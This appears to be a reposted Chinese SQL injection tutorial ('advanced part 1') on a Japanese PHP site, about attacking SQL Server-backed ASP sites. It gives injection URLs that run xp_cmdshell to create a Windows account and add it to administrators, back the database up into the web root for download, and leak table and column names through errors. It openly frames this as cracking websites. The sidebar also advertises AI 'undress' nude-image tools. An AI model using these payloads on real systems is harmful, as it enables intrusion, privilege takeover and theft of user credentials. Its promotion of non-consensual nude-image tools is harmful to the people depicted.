ホームページ データベース mysql チュートリアル SQL注入漏洞全接触--高级篇(一)_MySQL

SQL注入漏洞全接触--高级篇(一)_MySQL

Jun 01, 2016 pm 01:56 PM
どうでしょうか 成功率

看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。  

  第一节、利用系统表注入SQLServer数据库  

  SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:  

  ① http://Site/url.ASP?id=1;exec master..xp_cmdshell “net user name password /add”--

  分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:  

  ② http://Site/url.ASP?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

  ③ http://Site/url.ASP?id=1 ;;and db_name()>0  

  前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。  

  ④ http://Site/url.ASP?id=1;backup database 数据库名 to disk=’c:/inetpub/wwwroot/1.db’;--  

  这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如//202.96.xx.xx/Share/1.db),但成功率不高。

  ⑤ http://Site/url.ASP?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0  

  前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。  

  ⑥ http://Site/url.ASP?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0 

  从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

Video Face Swap

Video Face Swap

完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

win10 LTSC版の評価は? win10 LTSC版の評価は? Dec 25, 2023 pm 04:25 PM

win10ltsc バージョンが良いかどうかよくわからないという人も多いですが、実際、このバージョンは他のバージョンと比べて非常に優れており、ソフトウェアは非常にクリーンで、他に冗長なアプリがないため、比較的良好です。 win10ltsc バージョンはどうですか: A: 比較的言えば、win10ltsc バージョンはまだ非常に優れており、コンテンツは非常にきれいで、きれい好きな友人がダウンロードするのに非常に適しています。 Win10 LTSC バージョンの主な利点の概要: 利点 1: このバージョンでは、追加のアプリケーション、Edge ブラウザー、Cortana が不要になり、合理化された機能が十分に発揮され、ユーザーの誤操作によって引き起こされる不要な干渉が回避されます。同時に、サービスがより簡素化され、それに応じて実行速度も向上します。利点 2: 1. ほとんどの場合

Windows 10 Enterprise 2016 Long Term Service Editionの総合評価はどうですか? Windows 10 Enterprise 2016 Long Term Service Editionの総合評価はどうですか? Jan 15, 2024 pm 03:18 PM

win10には選択できるシステムがたくさんありますが、その中でもwin10エンタープライズ版2016長期サービス版は比較的使いやすいシステムバージョンで、機能も何もかも非常に優れています。毎日使用する場合、このシステム バージョンは非常に便利であると言えます。 win10 エンタープライズ バージョン 2016 長期サービス版はどうですか? 回答: パフォーマンスは非常に優れています。この製品はエンタープライズレベルの顧客向けに特別に設計されており、安定した効率的で非常に安全なコンピューティング環境の構築に注力しています。 win10 エンタープライズ バージョン 2016 長期サービス バージョンの紹介 1. 保証: Windows 2016 エンタープライズ バージョン 長期サービスは、ユーザーに最大 5 年間の完全なメインストリーム サポートと、同じ期間の綿密な延長サポートを誠実に提供します。 2. システムには、あらゆるレベルでチェックされている

1つの記事で分析されたPOLYDOGEコインの将来性とは何ですか? 1つの記事で分析されたPOLYDOGEコインの将来性とは何ですか? Jul 15, 2024 pm 05:24 PM

POLYDOGEコインの正式な英語名はPolyDogeです。実際、このPolydogeはポリゴンをテーマにしたミームコミュニティトークンが発行されており、PlaytoEarnゲームの開発のためにNetvrkと協力し始めています。 POLYDOGE は Polygon ネットワークで誕生したトークンであり、つい数日前にはチェーン上の最初のミーム コインでもあり、Crypto.com の Cronos ネットワークで見つけることができます。有名なBinance Smart Chainもリリースされようとしているという噂があります。多くの投資家は、このPOLYDOGEコインの将来性を知りたいと思っていますか?それについては以下でお伝えしましょう

EDUコインはどうですか?まだ価値があるのでしょうか? EDUコインはどうですか?まだ価値があるのでしょうか? Jul 11, 2024 pm 05:05 PM

ブロックチェーン技術は広く使用され、多くの産業の構造を変えてきましたが、教育分野ではまだ開発および適用されていません。このような背景から、Binance で EDU コインの販売が開始された後、OpenCampus (EDU) が開発されました。 2023 年にローンチパッドから借用したプロジェクトは強力に発展し、対象範囲と影響力を拡大しました。投資家はこの EDU コインにもっと注目してみてはいかがでしょうか。一部の投資家がこの通貨への投資を決定する前に、10月に過去最低の0.3748ドルに達したことが判明し、投資家はEDU通貨がまだ価値があるのではないかと心配しました。実際、現在のデータによると、EDU通貨は依然として良好であり、一定の投資価値があります。これについては、編集者が以下で詳しく説明します。 EDUコインはどうですか?現時点ではEDU通貨のパフォーマンスは悪くないとのこと。

Xiaomi 4 携帯電話はどうですか? 最新の Xiaomi 4 の紹介 Xiaomi 4 携帯電話はどうですか? 最新の Xiaomi 4 の紹介 Mar 24, 2024 pm 01:31 PM

最近、国産携帯電話はますます強力になり、さまざまなシリーズのフラッグシップ携帯や非常にコストパフォーマンスの高い「千元携帯」が発売されており、その直前にはXiaomiがXiaomi Mi 5Cを発売しました。 Zhifu はまだ Xiaomi について非常に楽観的です. Huawei に追いつけるといいですね? さて、本題に入りましょう. 今回の主役は Xiaomi 4 です. Xiaomi 携帯電話 4 には Qualcomm Snapdragon 801 (V3) 2.5GHz プロセッサが搭載されており、 3GB RAM と 16/64GB ROM の実行メモリを備えています (当時の主流動作で、ほとんどのメモリは 1/2GB に保たれています) Xiaomi 4 は 3GB の実行メモリを備えており、この構成は当時強力であると考えられていました。背面カメラは 13 メガピクセル SonyIMX214、前面カメラは 8 メガピクセル、画面は 5 インチ 1080p です。

Win7 での Edge ブラウザのパフォーマンスはどうですか? Win7 での Edge ブラウザのパフォーマンスはどうですか? Dec 27, 2023 pm 03:51 PM

Edge ブラウザは Microsoft によって新しく開発されたブラウザです。そのコアは以前の IE ブラウザとはまったく異なります。一部のユーザーは、運用後に win7 システムでも Edge ブラウザを使用することもできます。では、このブラウザはどのように使用されますか? この記事では、簡単に説明しますそれをあなたに。 win7edge ブラウザはどうでしょうか? 回答: Edge ブラウザは、そのコアが以前に物議を醸した IE ブラウザとはまったく異なるため、非常に優れており、また、異なるコードと最適化アルゴリズムを使用しており、そのパフォーマンスはより優れています。 Edge ブラウザには、ユーザーがブラウザ上で直接落書きできる落書きモードも追加されました。閲覧モードはさらに便利で、ユーザーが自分でページレイアウトを設定できるだけでなく、広告が表示されず、フォントや背景も使用できます。

13600kf と Gigabyte b760 の組み合わせ (11700k と Gigabyte Xiaodiao の組み合わせ) をどのように評価しますか? 13600kf と Gigabyte b760 の組み合わせ (11700k と Gigabyte Xiaodiao の組み合わせ) をどのように評価しますか? Jan 02, 2024 am 08:35 AM

13600kf と Gigabyte b760 を組み合わせるのはどうですか? 1. 組み合わせ効果は良好です。 2. 13600kf はインテルの高性能プロセッサーであり、Gigabyte b760 は安定したパフォーマンスを備えたマザーボードであるため、この 2 つの組み合わせによりプロセッサーのパフォーマンスを最大限に発揮し、スムーズなコンピューティングとゲーム体験を提供します。 3. さらに、Gigabyte b760 は優れた拡張性と安定性も備えており、さまざまなハードウェア デバイスの接続と操作をサポートできるため、ユーザーにより多くの選択肢と利便性が提供されます。したがって、13600kf と Gigabyte b760 を組み合わせると、高性能コンピューティングやゲームに対するユーザーのニーズを満たすだけでなく、優れた安定性と信頼性も実現できます。 13600kf および Gigabyte b760 と組み合わせるのは比較的良い選択です。 13600kfはコストパフォーマンスに優れています

ABSコインはどうですか? ABSコインは投資する価値がありますか? ABSコインはどうですか? ABSコインは投資する価値がありますか? Jul 16, 2024 pm 12:00 PM

ABS 通貨の完全な英語名は Autobusd です。実際、AutoBUSD プロジェクトは、主に取引プラットフォームで使用される特別なプロジェクトです。このプロジェクトは、価格傾向を分析できるだけでなく、価格傾向の方向性を読み取ることができるため、ユーザーが売買取引を行ったり、利益確定または削減するためにポジションを閉じる決定を下したりするのに役立ちます。さらに、このプロジェクトにおけるすべての損失は自動的に実行され、手動による指示は必要ありません。 ABSコインとは一体どのようなものなのでしょうか?多くの投資家は、ABSコインが投資する価値があるかどうか知りたいと思っていますか?以下にそれについてお話しましょう。 ABSコインはどうですか?編集者の調査によると、取引所に上場されているABSプロジェクトの数はゼロに戻り、Aを購入することはできなくなりました。

See all articles